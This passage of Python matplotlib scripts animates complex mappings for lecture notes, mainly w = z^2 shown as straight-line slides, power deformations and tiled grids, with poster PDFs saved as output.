ax.axhline(0, color="0.8", lw=0.8); ax.axvline(0, color="0.8", lw=0.8)
ax.tick_params(labelsize=9)
for z, _ in LINES:                                         # where the grid started
    ax.plot(z.real, z.imag, color="0.88", lw=0.8)
curves = [ax.plot([], [], color=c, lw=1.2)[0] for _, c in LINES]
path, = ax.plot([z0.real, f(z0).real], [z0.imag, f(z0).imag], ls=":", color="0.35", lw=1)
dot, = ax.plot([], [], "o", color="k", ms=6)
lab = ax.text(0, 0, "", fontsize=12)
title = fig.text(0.5, 0.94, "", ha="center", fontsize=14)


def frame(k):
    t = T[k % len(T)]
    for (z, _), c in zip(LINES, curves):
        p = w(z, t)
        c.set_data(p.real, p.imag)
    p0 = w(z0, t)
    dot.set_data([p0.real], [p0.imag])
    lab.set_position((p0.real + 0.06, p0.imag + 0.06))
    lab.set_text(r"$z_0$" if t < 0.02 else (r"$z_0^2$" if t > 0.98 else ""))
    title.set_text(r"$w=(1-t)\,z+t\,z^{2},\quad t=%.2f$" % t)


if "play" in globals():     # provided by the PyFig reader or by the JupyterLite link
    play(fig, frame, frames=len(T), interval=70)
else:                       # plain Python: the poster is the finished map (t = 1)
    plt.rcParams["pdf.fonttype"] = 42
    frame(10 + 45 + 5)
    fig.savefig("zsq1_slide_poster.pdf")



"""f(z) = z^2 as a deformation, version 2: the upper half of the square unfolds through the powers
    w = z^s = r^s e^{i s theta},   s from 1 to 2   (z = r e^{i theta}, 0 <= theta <= pi).
Every stage is itself a map: angles at 0 are multiplied by s and distances from 0 go r -> r^s.
So the half-plane opens like a fan into the whole plane, the unit semicircle (green) keeps
radius 1 and closes into the full unit circle, and the grid lines become the parabolas of z^2.
Blue: lines x = const; red: lines y = const; the faint grid is where it started.
PyFig convention: the script defines fig and frame(k), then calls play(...).
"""
import numpy as np
import matplotlib
matplotlib.use("Agg")
import matplotlib.pyplot as plt

plt.rcParams.update({"mathtext.fontset": "cm", "font.family": "serif", "font.size": 12})
X = np.linspace(-1, 1, 9)                                  # lines x = c, 0 <= y <= 1
Y = np.linspace(0, 1, 5)                                   # lines y = c, -1 <= x <= 1
u = np.linspace(0, 1, 241)
LINES = [(c + 1j * u, "tab:blue") for c in X] + [((2 * u - 1) + 1j * c, "tab:red") for c in Y]
ARC = np.exp(1j * np.pi * u)                               # the unit semicircle


def power(z, s):            # z^s with 0 <= arg z <= pi (the closed upper half-plane)
    return np.abs(z) ** s * np.exp(1j * s * np.angle(z))


ease = lambda v: 0.5 - 0.5 * np.cos(np.pi * v)
S = [1.0] * 10 + list(1 + ease(np.linspace(0, 1, 50))) + [2.0] * 16 + list(1 + ease(np.linspace(1, 0, 50)))
L = 2.1

fig = plt.figure(figsize=(6, 6.4))
ax = fig.add_axes([0.07, 0.05, 0.88, 0.82])
ax.set_xlim(-L, L); ax.set_ylim(-L, L); ax.set_aspect("equal")
ax.axhline(0, color="0.8", lw=0.8); ax.axvline(0, color="0.8", lw=0.8)
ax.tick_params(labelsize=9)
for z, _ in LINES:
    ax.plot(z.real, z.imag, color="0.88", lw=0.8)
curves = [ax.plot([], [], color=c, lw=1.2)[0] for _, c in LINES]
arc, = ax.plot([], [], color="tab:green", lw=2, ls="--")
title = fig.text(0.5, 0.94, "", ha="center", fontsize=14)
sub = fig.text(0.5, 0.905, r"angles at $0$ multiplied by $s$, distances $r\mapsto r^{s}$",
               ha="center", fontsize=11, color="0.35")


def frame(k):
    s = S[k % len(S)]
    for (z, _), c in zip(LINES, curves):
        p = power(z, s)
        c.set_data(p.real, p.imag)
    a = power(ARC, s)
    arc.set_data(a.real, a.imag)
    title.set_text(r"$w=z^{s},\quad s=%.2f$" % s)


if "play" in globals():     # provided by the PyFig reader or by the JupyterLite link
    play(fig, frame, frames=len(S), interval=70)
else:                       # plain Python: the poster is the finished map (s = 2)
    plt.rcParams["pdf.fonttype"] = 42
    frame(10 + 50 + 5)
    fig.savefig("zsq2_unfold_poster.pdf")



"""f(z) = z^2 as a deformation, version 3: coloured tiles, side by side. Left, the unit square
[0,1]^2 of the z-plane cut into 5 x 5 tiles; right, the same tiles under w = z^s, s from 1 to 2.
Small tiles stay (curved) squares with right-angled corners -- z^2 is conformal away from 0 --
while the quarter-plane opens to a half-plane: at 0, where f'(0) = 0, angles double. Tiles far
from 0 grow and tiles near 0 shrink, since |f'(z)| = 2|z|.
PyFig convention: the script defines fig and frame(k), then calls play(...).
"""
import numpy as np
import matplotlib
matplotlib.use("Agg")
import matplotlib.pyplot as plt
from matplotlib.collections import PolyCollection

plt.rcParams.update({"mathtext.fontset": "cm", "font.family": "serif", "font.size": 12})
N, E = 5, 12                                               # tiles per side, points per tile edge
h = 1.0 / N
e = np.linspace(0, 1, E, endpoint=False)


def tile(i, j):             # the boundary of tile [ih,(i+1)h] x [jh,(j+1)h], sampled
    x0, y0 = i * h, j * h
    return np.concatenate([x0 + h * e + 1j * y0, x0 + h + 1j * (y0 + h * e),
                           x0 + h * (1 - e) + 1j * (y0 + h), x0 + 1j * (y0 + h * (1 - e))])


TILES = [tile(i, j) for j in range(N) for i in range(N)]
PALE = ["#dfe8f5", "#f6e3d3"]
COLORS = [PALE[(i + j) % 2] for j in range(N) for i in range(N)]
COLORS[3 * N + 3] = "#e76f51"                              # one tile to follow


def power(z, s):
    return np.abs(z) ** s * np.exp(1j * s * np.angle(z))


ease = lambda v: 0.5 - 0.5 * np.cos(np.pi * v)
S = [1.0] * 10 + list(1 + ease(np.linspace(0, 1, 50))) + [2.0] * 16 + list(1 + ease(np.linspace(1, 0, 50)))
# the right panel fits every stage
ALL = np.concatenate([power(t, s) for t in TILES for s in np.linspace(1, 2, 11)])
WX = (ALL.real.min() - 0.08, ALL.real.max() + 0.08)
WY = (-0.05, ALL.imag.max() + 0.08)

fig = plt.figure(figsize=(9.6, 5.2))
axz = fig.add_axes([0.05, 0.08, 0.33, 0.72])
axw = fig.add_axes([0.44, 0.08, 0.53, 0.72])
axz.set_xlim(-0.05, 1.05); axz.set_ylim(-0.05, 1.05)
axw.set_xlim(*WX); axw.set_ylim(*WY)
for a in (axz, axw):
    a.set_aspect("equal"); a.tick_params(labelsize=9)
    a.axhline(0, color="0.8", lw=0.8); a.axvline(0, color="0.8", lw=0.8)
axz.add_collection(PolyCollection([np.c_[t.real, t.imag] for t in TILES], facecolors=COLORS,
                                  edgecolors="white", linewidths=0.8))
axz.set_title(r"$z$-plane", fontsize=13)
tiles_w = PolyCollection([], facecolors=COLORS, edgecolors="white", linewidths=0.8)
axw.add_collection(tiles_w)
title = axw.set_title("", fontsize=13)
fig.text(0.5, 0.93, r"small squares stay square; the quarter-plane opens to a half-plane (angles at $0$ double)",
         ha="center", fontsize=12, color="0.3")


def frame(k):
    s = S[k % len(S)]
    tiles_w.set_verts([np.c_[p.real, p.imag] for p in (power(t, s) for t in TILES)])
    title.set_text(r"$w=z^{s},\quad s=%.2f$" % s)


if "play" in globals():     # provided by the PyFig reader or by the JupyterLite link
    play(fig, frame, frames=len(S), interval=70)
else:                       # plain Python: the poster is the finished map (s = 2)
    plt.rcParams["pdf.fonttype"] = 42
    frame(10 + 50 + 5)
    fig.savefig("zsq3_tiles_poster.pdf")



"""$z^2$ on the polar grid -- animation A (straight-line slide).
Generated by gen_anims.py from specs.py; notes: Example 7.6, p. 40 (ch07-mappings.tex:149)
PyFig convention: the script defines fig and frame(k), then calls play(...).
"""

import numpy as np
import matplotlib
matplotlib.use("Agg")
import matplotlib.pyplot as plt
from matplotlib.collections import PolyCollection

plt.rcParams.update({"mathtext.fontset": "cm", "font.family": "serif", "font.size": 12})
pi, e, I = np.pi, np.e, 1j


def arg(z, base=-np.pi):
    """argument in (base, base + 2 pi]"""
    return base + np.mod(np.angle(z) - base - 1e-12, 2 * np.pi) + 1e-12


def pw(z, a, base=-np.pi):
    """z**a with the argument taken in (base, base + 2 pi]"""
    r = np.abs(z)
    with np.errstate(divide="ignore", invalid="ignore"):
        return np.where(r > 0, np.exp(a * (np.log(np.where(r > 0, r, 1)) + 1j * arg(z, base))), 0)


def lg(z, base=-np.pi):
    """the logarithm with the argument in (base, base + 2 pi]"""
    return np.log(np.abs(z)) + 1j * arg(z, base)


def mob(M, z):
    (a, b), (c, d) = M
    with np.errstate(divide="ignore", invalid="ignore"):
        return (a * z + b) / (c * z + d)


def mpow(M, s):
    """M**s for an invertible 2x2 matrix: exp(s log M), a path of Mobius maps from I to M"""
    M = np.array(M, dtype=complex)
    M = M / np.sqrt(np.linalg.det(M))
    lam, V = np.linalg.eig(M)
    if abs(lam[0] - lam[1]) > 1e-9:
        return V @ np.diag(np.exp(s * np.log(lam))) @ np.linalg.inv(V)
    l = lam[0]                                  # parabolic: M = l (I + N), N nilpotent
    N = M / l - np.eye(2)
    return np.exp(s * np.log(l)) * (np.eye(2) + s * N)


def cut(p, R):
    """break a curve (insert gaps) where it leaves the disc of radius R or jumps across it"""
    p = np.array(p, dtype=complex)
    bad = ~np.isfinite(p) | (np.abs(p) > R)
    jump = np.r_[False, np.abs(np.diff(p)) > R / 3]
    p[bad | jump] = np.nan
    return p


def seg(s, a, b):
    """the progress (0 to 1) of a stage that runs while s goes from a to b"""
    return min(max((s - a) / (b - a), 0.0), 1.0)


def flip(z, t, d=4.0):
    """turn the plane over about the real axis, like a page, seen in perspective (t=1: z -> conj z)"""
    y = z.imag
    return (z.real + 1j * y * np.cos(np.pi * t)) * d / (d + y * np.sin(np.pi * t))


def inv(z, t):
    """r -> r**(1-2t) along each ray: t=1 is the inversion z/|z|^2 in the unit circle"""
    return np.abs(z) ** (1 - 2 * t) * np.exp(1j * np.angle(z))


def flipy(z, t):
    return z.real + 1j * np.cos(np.pi * t) * z.imag


def poly(pts, u):
    """the broken line through pts, parametrised by u in [0,1]"""
    pts = np.asarray(pts, dtype=complex)
    k = np.linspace(0, 1, len(pts))
    return np.interp(u, k, pts.real) + 1j * np.interp(u, k, pts.imag)


ease = lambda v: 0.5 - 0.5 * np.cos(np.pi * v)
SCHED = [0.0] * 10 + list(ease(np.linspace(0, 1, 50))) + [1.0] * 16 + list(ease(np.linspace(1, 0, 50)))

H = lambda z, s: (1 - s) * z + s * (z**2)
R = 50.0                      # curves are cut beyond this radius
LIMITS = None
SUB = 'every point moves in a straight line from $z$ to $z^2$'
TITLE = '$w=(1-s)\\,z+s\\,z^{2},\\quad s=%.2f$'
GRIDKIND, GRIDARGS = 'polar', (0.3, 1.1, 5, -3.141492653589793, 3.141492653589793, 12)
AVOID = []
EXTRAS = []
TRACK = None

u = np.linspace(0, 1, 301)
LINES = []                                   # (points z(u), colour)
if GRIDKIND == "cart":
    x0, x1, y0, y1, nx, ny = GRIDARGS
    for c in np.linspace(x0, x1, nx):
        LINES.append((c + 1j * (y0 + (y1 - y0) * u), "tab:blue"))
    for c in np.linspace(y0, y1, ny):
        LINES.append(((x0 + (x1 - x0) * u) + 1j * c, "tab:red"))
elif GRIDKIND == "polar":                    # circles blue, rays red
    r0, r1, nr, t0, t1, nt = GRIDARGS
    for r in np.linspace(r0, r1, nr):
        LINES.append((r * np.exp(1j * (t0 + (t1 - t0) * u)), "tab:blue"))
    for t in np.linspace(t0, t1, nt, endpoint=(t1 - t0 < 2 * np.pi - 0.01)):
        LINES.append(((r0 + (r1 - r0) * u) * np.exp(1j * t), "tab:red"))
else:                                        # "curves": a list of (expression in u, colour)
    LINES = [(eval("lambda u: " + ex)(u), col) for ex, col in GRIDARGS]
LINES = [(z, c) for z, c in LINES if not any(np.min(np.abs(z - q)) < 1e-9 for q in AVOID)]
EXTRA = [(eval("lambda u: " + ex), col) for ex, col in EXTRAS]

S_EPS = 1e-6
Hs = lambda z, s: H(z, max(s, S_EPS))


def image(z, s):
    return cut(Hs(z, s), R)


pts = np.concatenate([image(z, s) for z, _ in LINES for s in np.linspace(0, 1, 13)]
                     + [image(g(u), s) for g, _ in EXTRA for s in np.linspace(0, 1, 13)])
pts = pts[np.isfinite(pts)]
if LIMITS:
    X0, X1, Y0, Y1 = LIMITS
else:
    X0, X1, Y0, Y1 = pts.real.min(), pts.real.max(), pts.imag.min(), pts.imag.max()
    h = 0.55 * max(X1 - X0, Y1 - Y0)            # a square box around everything
    cx, cy = (X0 + X1) / 2, (Y0 + Y1) / 2
    X0, X1, Y0, Y1 = cx - h, cx + h, cy - h, cy + h

fig = plt.figure(figsize=(6, 6.6))
ax = fig.add_axes([0.08, 0.05, 0.88, 0.80])
ax.set_xlim(X0, X1); ax.set_ylim(Y0, Y1); ax.set_aspect("equal", adjustable="box")
ax.axhline(0, color="0.82", lw=0.8); ax.axvline(0, color="0.82", lw=0.8)
ax.tick_params(labelsize=9)
for z, _ in LINES:
    q = cut(z, R)
    ax.plot(q.real, q.imag, color="0.88", lw=0.8)
curves = [ax.plot([], [], color=c, lw=1.2)[0] for _, c in LINES]
extras = [ax.plot([], [], color=c, lw=2, ls="-" if c in ("k", "black") else "--")[0] for _, c in EXTRA]
dot, = ax.plot([], [], "o", color="k", ms=6)
two = "\n" in SUB
title = fig.text(0.5, 0.955 if two else 0.945, "", ha="center", fontsize=14)
fig.text(0.5, 0.905 if two else 0.905, SUB, ha="center", va="center" if two else "baseline",
         fontsize=10 if two else 10.5, color="0.35", linespacing=1.5)


def frame(k):
    s = SCHED[k % len(SCHED)]
    for (z, _), c in zip(LINES, curves):
        p = image(z, s)
        c.set_data(p.real, p.imag)
    for (g, _), c in zip(EXTRA, extras):
        p = image(g(u), s)
        c.set_data(p.real, p.imag)
    if TRACK is not None:
        p = Hs(np.array([TRACK]), s)[0]
        dot.set_data([p.real], [p.imag])
    title.set_text(TITLE % s)

if "play" in globals():     # provided by the PyFig reader or by the JupyterLite link
    play(fig, frame, frames=len(SCHED), interval=70)
else:                       # plain Python: the poster is the finished map (s = 1)
    plt.rcParams["pdf.fonttype"] = 42
    frame(10 + 50 + 5)
    fig.savefig(__file__.rsplit("/", 1)[-1].replace(".py", "") + "_poster.pdf")



"""$z^2$ on the polar grid -- animation B (path of maps).
Generated by gen_anims.py from specs.py; notes: Example 7.6, p. 40 (ch07-mappings.tex:149)
PyFig convention: the script defines fig and frame(k), then calls play(...).
"""

import numpy as np
import matplotlib
matplotlib.use("Agg")
import matplotlib.pyplot as plt
from matplotlib.collections import PolyCollection

plt.rcParams.update({"mathtext.fontset": "cm", "font.family": "serif", "font.size": 12})
pi, e, I = np.pi, np.e, 1j


def arg(z, base=-np.pi):
    """argument in (base, base + 2 pi]"""
    return base + np.mod(np.angle(z) - base - 1e-12, 2 * np.pi) + 1e-12


def pw(z, a, base=-np.pi):
    """z**a with the argument taken in (base, base + 2 pi]"""
    r = np.abs(z)
    with np.errstate(divide="ignore", invalid="ignore"):
        return np.where(r > 0, np.exp(a * (np.log(np.where(r > 0, r, 1)) + 1j * arg(z, base))), 0)


def lg(z, base=-np.pi):
    """the logarithm with the argument in (base, base + 2 pi]"""
    return np.log(np.abs(z)) + 1j * arg(z, base)


def mob(M, z):
    (a, b), (c, d) = M
    with np.errstate(divide="ignore", invalid="ignore"):
        return (a * z + b) / (c * z + d)


def mpow(M, s):
    """M**s for an invertible 2x2 matrix: exp(s log M), a path of Mobius maps from I to M"""
    M = np.array(M, dtype=complex)
    M = M / np.sqrt(np.linalg.det(M))
    lam, V = np.linalg.eig(M)
    if abs(lam[0] - lam[1]) > 1e-9:
        return V @ np.diag(np.exp(s * np.log(lam))) @ np.linalg.inv(V)
    l = lam[0]                                  # parabolic: M = l (I + N), N nilpotent
    N = M / l - np.eye(2)
    return np.exp(s * np.log(l)) * (np.eye(2) + s * N)


def cut(p, R):
    """break a curve (insert gaps) where it leaves the disc of radius R or jumps across it"""
    p = np.array(p, dtype=complex)
    bad = ~np.isfinite(p) | (np.abs(p) > R)
    jump = np.r_[False, np.abs(np.diff(p)) > R / 3]
    p[bad | jump] = np.nan
    return p


def seg(s, a, b):
    """the progress (0 to 1) of a stage that runs while s goes from a to b"""
    return min(max((s - a) / (b - a), 0.0), 1.0)


def flip(z, t, d=4.0):
    """turn the plane over about the real axis, like a page, seen in perspective (t=1: z -> conj z)"""
    y = z.imag
    return (z.real + 1j * y * np.cos(np.pi * t)) * d / (d + y * np.sin(np.pi * t))


def inv(z, t):
    """r -> r**(1-2t) along each ray: t=1 is the inversion z/|z|^2 in the unit circle"""
    return np.abs(z) ** (1 - 2 * t) * np.exp(1j * np.angle(z))


def flipy(z, t):
    return z.real + 1j * np.cos(np.pi * t) * z.imag


def poly(pts, u):
    """the broken line through pts, parametrised by u in [0,1]"""
    pts = np.asarray(pts, dtype=complex)
    k = np.linspace(0, 1, len(pts))
    return np.interp(u, k, pts.real) + 1j * np.interp(u, k, pts.imag)


ease = lambda v: 0.5 - 0.5 * np.cos(np.pi * v)
SCHED = [0.0] * 10 + list(ease(np.linspace(0, 1, 50))) + [1.0] * 16 + list(ease(np.linspace(1, 0, 50)))

H = lambda z, s: pw(z, 1+s)
R = 50.0                      # curves are cut beyond this radius
LIMITS = None
SUB = 'circles $r=\\rho$ go to circles $r=\\rho^2$ (wrapped twice),\nrays $\\theta$ to rays $2\\theta$'
TITLE = '$w=z^{1+s},\\quad s=%.2f$'
GRIDKIND, GRIDARGS = 'polar', (0.3, 1.1, 5, -3.141492653589793, 3.141492653589793, 12)
AVOID = []
EXTRAS = []
TRACK = None

u = np.linspace(0, 1, 301)
LINES = []                                   # (points z(u), colour)
if GRIDKIND == "cart":
    x0, x1, y0, y1, nx, ny = GRIDARGS
    for c in np.linspace(x0, x1, nx):
        LINES.append((c + 1j * (y0 + (y1 - y0) * u), "tab:blue"))
    for c in np.linspace(y0, y1, ny):
        LINES.append(((x0 + (x1 - x0) * u) + 1j * c, "tab:red"))
elif GRIDKIND == "polar":                    # circles blue, rays red
    r0, r1, nr, t0, t1, nt = GRIDARGS
    for r in np.linspace(r0, r1, nr):
        LINES.append((r * np.exp(1j * (t0 + (t1 - t0) * u)), "tab:blue"))
    for t in np.linspace(t0, t1, nt, endpoint=(t1 - t0 < 2 * np.pi - 0.01)):
        LINES.append(((r0 + (r1 - r0) * u) * np.exp(1j * t), "tab:red"))
else:                                        # "curves": a list of (expression in u, colour)
    LINES = [(eval("lambda u: " + ex)(u), col) for ex, col in GRIDARGS]
LINES = [(z, c) for z, c in LINES if not any(np.min(np.abs(z - q)) < 1e-9 for q in AVOID)]
EXTRA = [(eval("lambda u: " + ex), col) for ex, col in EXTRAS]

S_EPS = 1e-6
Hs = lambda z, s: H(z, max(s, S_EPS))


def image(z, s):
    return cut(Hs(z, s), R)


pts = np.concatenate([image(z, s) for z, _ in LINES for s in np.linspace(0, 1, 13)]
                     + [image(g(u), s) for g, _ in EXTRA for s in np.linspace(0, 1, 13)])
pts = pts[np.isfinite(pts)]
if LIMITS:
    X0, X1, Y0, Y1 = LIMITS
else:
    X0, X1, Y0, Y1 = pts.real.min(), pts.real.max(), pts.imag.min(), pts.imag.max()
    h = 0.55 * max(X1 - X0, Y1 - Y0)            # a square box around everything
    cx, cy = (X0 + X1) / 2, (Y0 + Y1) / 2
    X0, X1, Y0, Y1 = cx - h, cx + h, cy - h, cy + h

fig = plt.figure(figsize=(6, 6.6))
ax = fig.add_axes([0.08, 0.05, 0.88, 0.80])
ax.set_xlim(X0, X1); ax.set_ylim(Y0, Y1); ax.set_aspect("equal", adjustable="box")
ax.axhline(0, color="0.82", lw=0.8); ax.axvline(0, color="0.82", lw=0.8)
ax.tick_params(labelsize=9)
for z, _ in LINES:
    q = cut(z, R)
    ax.plot(q.real, q.imag, color="0.88", lw=0.8)
curves = [ax.plot([], [], color=c, lw=1.2)[0] for _, c in LINES]
extras = [ax.plot([], [], color=c, lw=2, ls="-" if c in ("k", "black") else "--")[0] for _, c in EXTRA]
dot, = ax.plot([], [], "o", color="k", ms=6)
two = "\n" in SUB
title = fig.text(0.5, 0.955 if two else 0.945, "", ha="center", fontsize=14)
fig.text(0.5, 0.905 if two else 0.905, SUB, ha="center", va="center" if two else "baseline",
         fontsize=10 if two else 10.5, color="0.35", linespacing=1.5)


def frame(k):
    s = SCHED[k % len(SCHED)]
    for (z, _), c in zip(LINES, curves):
        p = image(z, s)
        c.set_data(p.real, p.imag)
    for (g, _), c in zip(EXTRA, extras):
        p = image(g(u), s)
        c.set_data(p.real, p.imag)
    if TRACK is not None:
        p = Hs(np.array([TRACK]), s)[0]
        dot.set_data([p.real], [p.imag])
    title.set_text(TITLE % s)

if "play" in globals():     # provided by the PyFig reader or by the JupyterLite link
    play(fig, frame, frames=len(SCHED), interval=70)
else:                       # plain Python: the poster is the finished map (s = 1)
    plt.rcParams["pdf.fonttype"] = 42
    frame(10 + 50 + 5)
    fig.savefig(__file__.rsplit("/", 1)[-1].replace(".py", "") + "_poster.pdf")



"""$z^2$ on the polar grid -- animation C (tiles).
Generated by gen_anims.py from specs.py; notes: Example 7.6, p. 40 (ch07-mappings.tex:149)
PyFig convention: the script defines fig and frame(k), then calls play(...).
"""

import numpy as np
import matplotlib
matplotlib.use("Agg")
import matplotlib.pyplot as plt
from matplotlib.collections import PolyCollection

plt.rcParams.update({"mathtext.fontset": "cm", "font.family": "serif", "font.size": 12})
pi, e, I = np.pi, np.e, 1j


def arg(z, base=-np.pi):
    """argument in (base, base + 2 pi]"""
    return base + np.mod(np.angle(z) - base - 1e-12, 2 * np.pi) + 1e-12


def pw(z, a, base=-np.pi):
    """z**a with the argument taken in (base, base + 2 pi]"""
    r = np.abs(z)
    with np.errstate(divide="ignore", invalid="ignore"):
        return np.where(r > 0, np.exp(a * (np.log(np.where(r > 0, r, 1)) + 1j * arg(z, base))), 0)


def lg(z, base=-np.pi):
    """the logarithm with the argument in (base, base + 2 pi]"""
    return np.log(np.abs(z)) + 1j * arg(z, base)


def mob(M, z):
    (a, b), (c, d) = M
    with np.errstate(divide="ignore", invalid="ignore"):
        return (a * z + b) / (c * z + d)


def mpow(M, s):
    """M**s for an invertible 2x2 matrix: exp(s log M), a path of Mobius maps from I to M"""
    M = np.array(M, dtype=complex)
    M = M / np.sqrt(np.linalg.det(M))
    lam, V = np.linalg.eig(M)
    if abs(lam[0] - lam[1]) > 1e-9:
        return V @ np.diag(np.exp(s * np.log(lam))) @ np.linalg.inv(V)
    l = lam[0]                                  # parabolic: M = l (I + N), N nilpotent
    N = M / l - np.eye(2)
    return np.exp(s * np.log(l)) * (np.eye(2) + s * N)


def cut(p, R):
    """break a curve (insert gaps) where it leaves the disc of radius R or jumps across it"""
    p = np.array(p, dtype=complex)
    bad = ~np.isfinite(p) | (np.abs(p) > R)
    jump = np.r_[False, np.abs(np.diff(p)) > R / 3]
    p[bad | jump] = np.nan
    return p


def seg(s, a, b):
    """the progress (0 to 1) of a stage that runs while s goes from a to b"""
    return min(max((s - a) / (b - a), 0.0), 1.0)


def flip(z, t, d=4.0):
    """turn the plane over about the real axis, like a page, seen in perspective (t=1: z -> conj z)"""
    y = z.imag
    return (z.real + 1j * y * np.cos(np.pi * t)) * d / (d + y * np.sin(np.pi * t))


def inv(z, t):
    """r -> r**(1-2t) along each ray: t=1 is the inversion z/|z|^2 in the unit circle"""
    return np.abs(z) ** (1 - 2 * t) * np.exp(1j * np.angle(z))


def flipy(z, t):
    return z.real + 1j * np.cos(np.pi * t) * z.imag


def poly(pts, u):
    """the broken line through pts, parametrised by u in [0,1]"""
    pts = np.asarray(pts, dtype=complex)
    k = np.linspace(0, 1, len(pts))
    return np.interp(u, k, pts.real) + 1j * np.interp(u, k, pts.imag)


ease = lambda v: 0.5 - 0.5 * np.cos(np.pi * v)
SCHED = [0.0] * 10 + list(ease(np.linspace(0, 1, 50))) + [1.0] * 16 + list(ease(np.linspace(1, 0, 50)))

H = lambda z, s: pw(z, 1+s)
R = 50.0                      # curves are cut beyond this radius
LIMITS = None
SUB = 'the upper half of the annulus wraps once around: angles double'
TITLE = '$w=z^{1+s},\\quad s=%.2f$'
TILEKIND, TILEARGS = 'polar', (0.3, 1.1, 4, 0, 3.141592653589793, 8)
HILITE = [17, 6]

S_EPS = 1e-6
Hs = lambda z, s: H(z, max(s, S_EPS))
E = 10
ee = np.linspace(0, 1, E, endpoint=False)
TL = []
if TILEKIND == "cart":
    x0, x1, y0, y1, n, m = TILEARGS
    hx, hy = (x1 - x0) / n, (y1 - y0) / m
    for j in range(m):
        for i in range(n):
            a, b = x0 + i * hx, y0 + j * hy
            TL.append(np.concatenate([a + hx * ee + 1j * b, a + hx + 1j * (b + hy * ee),
                                      a + hx * (1 - ee) + 1j * (b + hy), a + 1j * (b + hy * (1 - ee))]))
else:
    r0, r1, n, t0, t1, m = TILEARGS
    hr, ht = (r1 - r0) / n, (t1 - t0) / m
    for j in range(m):
        for i in range(n):
            a, b = r0 + i * hr, t0 + j * ht
            TL.append(np.concatenate([(a + hr * ee) * np.exp(1j * b), (a + hr) * np.exp(1j * (b + ht * ee)),
                                      (a + hr * (1 - ee)) * np.exp(1j * (b + ht)), a * np.exp(1j * (b + ht * (1 - ee)))]))
PALE = ["#dfe8f5", "#f6e3d3"]
COL = [PALE[(i + j) % 2] for j in range(m) for i in range(n)]
for k, c in zip(HILITE, ["#e76f51", "#2a9d8f"]):
    COL[k] = c


def shown(p):                                   # tiles that pass near infinity are hidden
    return np.all(np.isfinite(p)) and np.max(np.abs(p)) < R


allp = np.concatenate([Hs(t, s) for t in TL for s in np.linspace(0, 1, 11)])
allp = allp[np.isfinite(allp) & (np.abs(allp) < R)]
if LIMITS:
    X0, X1, Y0, Y1 = LIMITS
else:
    X0, X1, Y0, Y1 = allp.real.min(), allp.real.max(), allp.imag.min(), allp.imag.max()
    mg = 0.05 * max(X1 - X0, Y1 - Y0)
    X0, X1, Y0, Y1 = X0 - mg, X1 + mg, Y0 - mg, Y1 + mg
Z = np.concatenate(TL)
zx0, zx1, zy0, zy1 = Z.real.min(), Z.real.max(), Z.imag.min(), Z.imag.max()
mz = 0.05 * max(zx1 - zx0, zy1 - zy0)

fig = plt.figure(figsize=(10, 5.4))
axz = fig.add_axes([0.05, 0.08, 0.34, 0.72])
axw = fig.add_axes([0.45, 0.08, 0.52, 0.72])
axz.set_xlim(zx0 - mz, zx1 + mz); axz.set_ylim(zy0 - mz, zy1 + mz)
axw.set_xlim(X0, X1); axw.set_ylim(Y0, Y1)
for a in (axz, axw):
    a.set_aspect("equal", adjustable="box"); a.tick_params(labelsize=9)
    a.axhline(0, color="0.82", lw=0.8); a.axvline(0, color="0.82", lw=0.8)
axz.add_collection(PolyCollection([np.c_[t.real, t.imag] for t in TL], facecolors=COL,
                                  edgecolors="white", linewidths=0.8))
axz.set_title(r"$z$-plane", fontsize=13)
tw = PolyCollection([], edgecolors="white", linewidths=0.8)
axw.add_collection(tw)
title = axw.set_title("", fontsize=13)
fig.text(0.5, 0.925, SUB, ha="center", va="center", fontsize=11 if "\n" in SUB else 11.5, color="0.3", linespacing=1.5)


def frame(k):
    s = SCHED[k % len(SCHED)]
    P = [Hs(t, s) for t in TL]
    keep = [i for i, p in enumerate(P) if shown(p)]
    tw.set_verts([np.c_[P[i].real, P[i].imag] for i in keep])
    tw.set_facecolors([COL[i] for i in keep])
    title.set_text(TITLE % s)

if "play" in globals():     # provided by the PyFig reader or by the JupyterLite link
    play(fig, frame, frames=len(SCHED), interval=70)
else:                       # plain Python: the poster is the finished map (s = 1)
    plt.rcParams["pdf.fonttype"] = 42
    frame(10 + 50 + 5)
    fig.savefig(__file__.rsplit("/", 1)[-1].replace(".py", "") + "_poster.pdf")



"""The linear map $(2+2i)z+(1+i)$ -- animation A (straight-line slide).
Generated by gen_anims.py from specs.py; notes: Definition 8.1 and Proposition 8.2, p. 42 (ch08-linear.tex:6, 18); Theorem 8.4 and plate, p. 42 (ch08:54, 100); Example 8.5, p. 43 (ch08:128)
PyFig convention: the script defines fig and frame(k), then calls play(...).
"""

import numpy as np
import matplotlib
matplotlib.use("Agg")
import matplotlib.pyplot as plt
from matplotlib.collections import PolyCollection

plt.rcParams.update({"mathtext.fontset": "cm", "font.family": "serif", "font.size": 12})
pi, e, I = np.pi, np.e, 1j


def arg(z, base=-np.pi):
    """argument in (base, base + 2 pi]"""
    return base + np.mod(np.angle(z) - base - 1e-12, 2 * np.pi) + 1e-12


def pw(z, a, base=-np.pi):
    """z**a with the argument taken in (base, base + 2 pi]"""
    r = np.abs(z)
    with np.errstate(divide="ignore", invalid="ignore"):
        return np.where(r > 0, np.exp(a * (np.log(np.where(r > 0, r, 1)) + 1j * arg(z, base))), 0)


def lg(z, base=-np.pi):
    """the logarithm with the argument in (base, base + 2 pi]"""
    return np.log(np.abs(z)) + 1j * arg(z, base)


def mob(M, z):
    (a, b), (c, d) = M
    with np.errstate(divide="ignore", invalid="ignore"):
        return (a * z + b) / (c * z + d)


def mpow(M, s):
    """M**s for an invertible 2x2 matrix: exp(s log M), a path of Mobius maps from I to M"""
    M = np.array(M, dtype=complex)
    M = M / np.sqrt(np.linalg.det(M))
    lam, V = np.linalg.eig(M)
    if abs(lam[0] - lam[1]) > 1e-9:
        return V @ np.diag(np.exp(s * np.log(lam))) @ np.linalg.inv(V)
    l = lam[0]                                  # parabolic: M = l (I + N), N nilpotent
    N = M / l - np.eye(2)
    return np.exp(s * np.log(l)) * (np.eye(2) + s * N)


def cut(p, R):
    """break a curve (insert gaps) where it leaves the disc of radius R or jumps across it"""
    p = np.array(p, dtype=complex)
    bad = ~np.isfinite(p) | (np.abs(p) > R)
    jump = np.r_[False, np.abs(np.diff(p)) > R / 3]
    p[bad | jump] = np.nan
    return p


def seg(s, a, b):
    """the progress (0 to 1) of a stage that runs while s goes from a to b"""
    return min(max((s - a) / (b - a), 0.0), 1.0)


def flip(z, t, d=4.0):
    """turn the plane over about the real axis, like a page, seen in perspective (t=1: z -> conj z)"""
    y = z.imag
